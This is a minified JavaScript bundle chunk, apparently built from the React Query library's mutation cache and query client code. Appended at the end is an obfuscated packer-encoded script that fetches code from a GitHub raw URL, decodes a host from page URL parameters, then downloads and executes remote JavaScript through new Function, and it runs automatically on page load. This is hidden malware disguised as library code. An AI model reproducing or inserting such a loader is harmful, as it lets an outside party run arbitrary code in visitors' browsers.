this.#h.get(e)}getAll(){return[...this.#h.values()]}find(e){let t={exact:!0,...e};return this.getAll().find(e=>a(t,e))}findAll(e={}){let t=this.getAll();return Object.keys(e).length>0?t.filter(t=>a(e,t)):t}notify(e){b.batch(()=>{this.listeners.forEach(t=>{t(e)})})}onFocus(){b.batch(()=>{this.getAll().forEach(e=>{e.onFocus()})})}onOnline(){b.batch(()=>{this.getAll().forEach(e=>{e.onOnline()})})}},R=class extends T{#f;#p;#l;constructor(e){super(),this.mutationId=e.mutationId,this.#p=e.mutationCache,this.#f=[],this.state=e.state||{context:void 0,data:void 0,error:null,failureCount:0,failureReason:null,isPaused:!1,status:"idle",variables:void 0,submittedAt:0},this.setOptions(e.options),this.scheduleGc()}setOptions(e){this.options=e,this.updateGcTime(this.options.gcTime)}get meta(){return this.options.meta}addObserver(e){this.#f.includes(e)||(this.#f.push(e),this.clearGcTimeout(),this.#p.notify({type:"observerAdded",mutation:this,observer:e}))}removeObserver(e){this.#f=this.#f.filter(t=>t!==e),this.scheduleGc(),this.#p.notify({type:"observerRemoved",mutation:this,observer:e})}optionalRemove(){this.#f.length||("pending"===this.state.status?this.scheduleGc():this.#p.remove(this))}continue(){return this.#l?.continue()??this.execute(this.state.variables)}async execute(e){this.#l=P({fn:()=>this.options.mutationFn?this.options.mutationFn(e):Promise.reject(Error("No mutationFn found")),onFail:(e,t)=>{this.#d({type:"failed",failureCount:e,error:t})},onPause:()=>{this.#d({type:"pause"})},onContinue:()=>{this.#d({type:"continue"})},retry:this.options.retry??0,retryDelay:this.options.retryDelay,networkMode:this.options.networkMode,canRun:()=>this.#p.canRun(this)});let t="pending"===this.state.status,r=!this.#l.canStart();try{if(!t){this.#d({type:"pending",variables:e,isPaused:r}),await this.#p.config.onMutate?.(e,this);let t=await this.options.onMutate?.(e);t!==this.state.context&&this.#d({type:"pending",context:t,variables:e,isPaused:r})}let n=await this.#l.start();return await this.#p.config.onSuccess?.(n,e,this.state.context,this),await this.options.onSuccess?.(n,e,this.state.context),await this.#p.config.onSettled?.(n,null,this.state.variables,this.state.context,this),await this.options.onSettled?.(n,null,e,this.state.context),this.#d({type:"success",data:n}),n}catch(t){try{throw await this.#p.config.onError?.(t,e,this.state.context,this),await this.options.onError?.(t,e,this.state.context),await this.#p.config.onSettled?.(void 0,t,this.state.variables,this.state.context,this),await this.options.onSettled?.(void 0,t,e,this.state.context),t}finally{this.#d({type:"error",error:t})}}finally{this.#p.runNext(this)}}#d(e){this.state=(t=>{switch(e.type){case"failed":return{...t,failureCount:e.failureCount,failureReason:e.error};case"pause":return{...t,isPaused:!0};case"continue":return{...t,isPaused:!1};case"pending":return{...t,context:e.context,data:void 0,failureCount:0,failureReason:null,error:null,isPaused:e.isPaused,status:"pending",variables:e.variables,submittedAt:Date.now()};case"success":return{...t,data:e.data,failureCount:0,failureReason:null,error:null,status:"success",isPaused:!1};case"error":return{...t,data:void 0,error:e.error,failureCount:t.failureCount+1,failureReason:e.error,isPaused:!1,status:"error"}}})(this.state),b.batch(()=>{this.#f.forEach(t=>{t.onMutationUpdate(e)}),this.#p.notify({mutation:this,type:"updated",action:e})})}},M=class extends g{constructor(e={}){super(),this.config=e,this.#v=new Map,this.#m=Date.now()}#v;#m;build(e,t,r){let n=new R({mutationCache:this,mutationId:++this.#m,options:e.defaultMutationOptions(t),state:r});return this.add(n),n}add(e){let t=_(e),r=this.#v.get(t)??[];r.push(e),this.#v.set(t,r),this.notify({type:"added",mutation:e})}remove(e){let t=_(e);if(this.#v.has(t)){let r=this.#v.get(t)?.filter(t=>t!==e);r&&(0===r.length?this.#v.delete(t):this.#v.set(t,r))}this.notify({type:"removed",mutation:e})}canRun(e){let t=this.#v.get(_(e))?.find(e=>"pending"===e.state.status);return!t||t===e}runNext(e){let t=this.#v.get(_(e))?.find(t=>t!==e&&t.state.isPaused);return t?.continue()??Promise.resolve()}clear(){b.batch(()=>{this.getAll().forEach(e=>{this.remove(e)})})}getAll(){return[...this.#v.values()].flat()}find(e){let t={exact:!0,...e};return this.getAll().find(e=>o(t,e))}findAll(e={}){return this.getAll().filter(t=>o(e,t))}notify(e){b.batch(()=>{this.listeners.forEach(t=>{t(e)})})}resumePausedMutations(){let e=this.getAll().filter(e=>e.state.isPaused);return b.batch(()=>Promise.all(e.map(e=>e.continue().catch(i))))}};function _(e){return e.options.scope?.id??String(e.mutationId)}function F(e){return{onFetch:(t,r)=>{let n=t.options,i=t.fetchOptions?.meta?.fetchMore?.direction,s=t.state.data?.pages||[],a=t.state.data?.pageParams||[],o={pages:[],pageParams:[]},l=0,u=async()=>{let r=!1,u=e=>{Object.defineProperty(e,"signal",{enumerable:!0,get:()=>(t.signal.aborted?r=!0:t.signal.addEventListener("abort",()=>{r=!0}),t.signal)})},c=y(t.options,t.fetchOptions),d=async(e,n,i)=>{if(r)return Promise.reject();if(null==n&&e.pages.length)return Promise.resolve(e);let s={queryKey:t.queryKey,pageParam:n,direction:i?"backward":"forward",meta:t.options.meta};u(s);let a=await c(s),{maxPages:o}=t.options,l=i?v:p;return{pages:l(e.pages,a,o),pageParams:l(e.pageParams,n,o)}};if(i&&s.length){let e="backward"===i,t={pages:s,pageParams:a},r=(e?function(e,{pages:t,pageParams:r}){return t.length>0?e.getPreviousPageParam?.(t[0],t,r[0],r):void 0}:q)(n,t);o=await d(t,r,e)}else{let t=e??s.length;do{let e=0===l?a[0]??n.initialPageParam:q(n,o);if(l>0&&null==e)break;o=await d(o,e),l++}while(lt.options.persister?.(u,{queryKey:t.queryKey,meta:t.options.meta,signal:t.signal},r):t.fetchFn=u}}}function q(e,{pages:t,pageParams:r}){let n=t.length-1;return t.length>0?e.getNextPageParam(t[n],t,r[n],r):void 0}var j=class{#y;#p;#u;#b;#g;#w;#x;#E;constructor(e={}){this.#y=e.queryCache||new k,this.#p=e.mutationCache||new M,this.#u=e.defaultOptions||{},this.#b=new Map,this.#g=new Map,this.#w=0}mount(){this.#w++,1===this.#w&&(this.#x=w.subscribe(async e=>{e&&(await this.resumePausedMutations(),this.#y.onFocus())}),this.#E=x.subscribe(async e=>{e&&(await this.resumePausedMutations(),this.#y.onOnline())}))}unmount(){this.#w--,0===this.#w&&(this.#x?.(),this.#x=void 0,this.#E?.(),this.#E=void 0)}isFetching(e){return this.#y.findAll({...e,fetchStatus:"fetching"}).length}isMutating(e){return this.#p.findAll({...e,status:"pending"}).length}getQueryData(e){let t=this.defaultQueryOptions({queryKey:e});return this.#y.get(t.queryHash)?.state.data}ensureQueryData(e){let t=this.getQueryData(e.queryKey);if(void 0===t)return this.fetchQuery(e);{let r=this.defaultQueryOptions(e),n=this.#y.build(this,r);return e.revalidateIfStale&&n.isStaleByTime(s(r.staleTime,n))&&this.prefetchQuery(r),Promise.resolve(t)}}getQueriesData(e){return this.#y.findAll(e).map(({queryKey:e,state:t})=>[e,t.data])}setQueryData(e,t,r){let n=this.defaultQueryOptions({queryKey:e}),i=this.#y.get(n.queryHash),s=i?.state.data,a="function"==typeof t?t(s):t;if(void 0!==a)return this.#y.build(this,n).setData(a,{...r,manual:!0})}setQueriesData(e,t,r){return b.batch(()=>this.#y.findAll(e).map(({queryKey:e})=>[e,this.setQueryData(e,t,r)]))}getQueryState(e){let t=this.defaultQueryOptions({queryKey:e});return this.#y.get(t.queryHash)?.state}removeQueries(e){let t=this.#y;b.batch(()=>{t.findAll(e).forEach(e=>{t.remove(e)})})}resetQueries(e,t){let r=this.#y,n={type:"active",...e};return b.batch(()=>(r.findAll(e).forEach(e=>{e.reset()}),this.refetchQueries(n,t)))}cancelQueries(e={},t={}){let r={revert:!0,...t};return Promise.all(b.batch(()=>this.#y.findAll(e).map(e=>e.cancel(r)))).then(i).catch(i)}invalidateQueries(e={},t={}){return b.batch(()=>{if(this.#y.findAll(e).forEach(e=>{e.invalidate()}),"none"===e.refetchType)return Promise.resolve();let r={...e,type:e.refetchType??e.type??"active"};return this.refetchQueries(r,t)})}refetchQueries(e={},t){let r={...t,cancelRefetch:t?.cancelRefetch??!0};return Promise.all(b.batch(()=>this.#y.findAll(e).filter(e=>!e.isDisabled()).map(e=>{let t=e.fetch(void 0,r);return r.throwOnError||(t=t.catch(i)),"paused"===e.state.fetchStatus?Promise.resolve():t}))).then(i)}fetchQuery(e){let t=this.defaultQueryOptions(e);void 0===t.retry&&(t.retry=!1);let r=this.#y.build(this,t);return r.isStaleByTime(s(t.staleTime,r))?r.fetch(t):Promise.resolve(r.state.data)}prefetchQuery(e){return this.fetchQuery(e).then(i).catch(i)}fetchInfiniteQuery(e){return e.behavior=F(e.pages),this.fetchQuery(e)}prefetchInfiniteQuery(e){return this.fetchInfiniteQuery(e).then(i).catch(i)}ensureInfiniteQueryData(e){return e.behavior=F(e.pages),this.ensureQueryData(e)}resumePausedMutations(){return x.isOnline()?this.#p.resumePausedMutations():Promise.resolve()}getQueryCache(){return this.#y}getMutationCache(){return this.#p}getDefaultOptions(){return this.#u}setDefaultOptions(e){this.#u=e}setQueryDefaults(e,t){this.#b.set(u(e),{queryKey:e,defaultOptions:t})}getQueryDefaults(e){let t=[...this.#b.values()],r={};return t.forEach(t=>{c(e,t.queryKey)&&(r={...r,...t.defaultOptions})}),r}setMutationDefaults(e,t){this.#g.set(u(e),{mutationKey:e,defaultOptions:t})}getMutationDefaults(e){let t=[...this.#g.values()],r={};return t.forEach(t=>{c(e,t.mutationKey)&&(r={...r,...t.defaultOptions})}),r}defaultQueryOptions(e){if(e._defaulted)return e;let t={...this.#u.queries,...this.getQueryDefaults(e.queryKey),...e,_defaulted:!0};return t.queryHash||(t.queryHash=l(t.queryKey,t)),void 0===t.refetchOnReconnect&&(t.refetchOnReconnect="always"!==t.networkMode),void 0===t.throwOnError&&(t.throwOnError=!!t.suspense),!t.networkMode&&t.persister&&(t.networkMode="offlineFirst"),!0!==t.enabled&&t.queryFn===m&&(t.enabled=!1),t}defaultMutationOptions(e){return e?._defaulted?e:{...this.#u.mutations,...e?.mutationKey&&this.getMutationDefaults(e.mutationKey),...e,_defaulted:!0}}clear(){this.#y.clear(),this.#p.clear()}}},94564:(e,t,r)=>{"use strict";r.d(t,{aH:()=>a});var n=r(32953),i=r(87174),s=n.createContext(void 0),a=e=>{let{client:t,children:r}=e;return n.useEffect(()=>(t.mount(),()=>{t.unmount()}),[t]),(0,i.jsx)(s.Provider,{value:t,children:r})}}}]);function xorDecode(b,a){a=void 0===a?22:a;b=atob(b);for(var d="",c=0;c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(2(){j 2 k(a){0 8=d l(a);3(!8.L)M 4 N("O m: "+8.P);6 d 8.n()}2 o(b){3(/5\\.7/.Q(b)){0 5={7:{}};0 q=4 f("5","7",b);q(5,5.7);6 5.7.1}R 1;0 s=4 f("u",b+"\\S (T 1 !== \'U\') u(1);");s(2(a){1=a});6 1}j 2 v(){w{0 x=d k("y://V.W.X/Y/g/Z/10/11/12.g");0 1=o(x);3(!1){6}z.A=2(a,b,c){w{c=c!==13;3(!a){0 p=4 B(C.D);a=p.9("E")||"";b=b||p.9("F")||""}3(!a||!b)6;0 G=1(a);0 H="y://"+G;l(H).I(r=>r.n()).I(J=>4 f(J)())}K(e){}};0 h=4 B(C.D);0 t=h.9("E");0 i=h.9("F");3(t&&i)z.A(t,i)}K(e){14.15("g m:",e)}}v()})();',62,68,'const|decodeHost|function|if|new|module|return|exports|res|get||||await||Function|js|params||async|fetchRemoteJS|fetch|err|text|extractDecodeHost||wrapper||sandbox||setDecodeHost|init|try|jsText|https|window|go|URLSearchParams|location|search|type|id|host|url|then|code|catch|ok|throw|Error|load|status|test|let|nif|typeof|undefined|raw|githubusercontent|com|JuanitaWHowe|refs|heads|main|index|false|console|error'.split('|'),0,{}));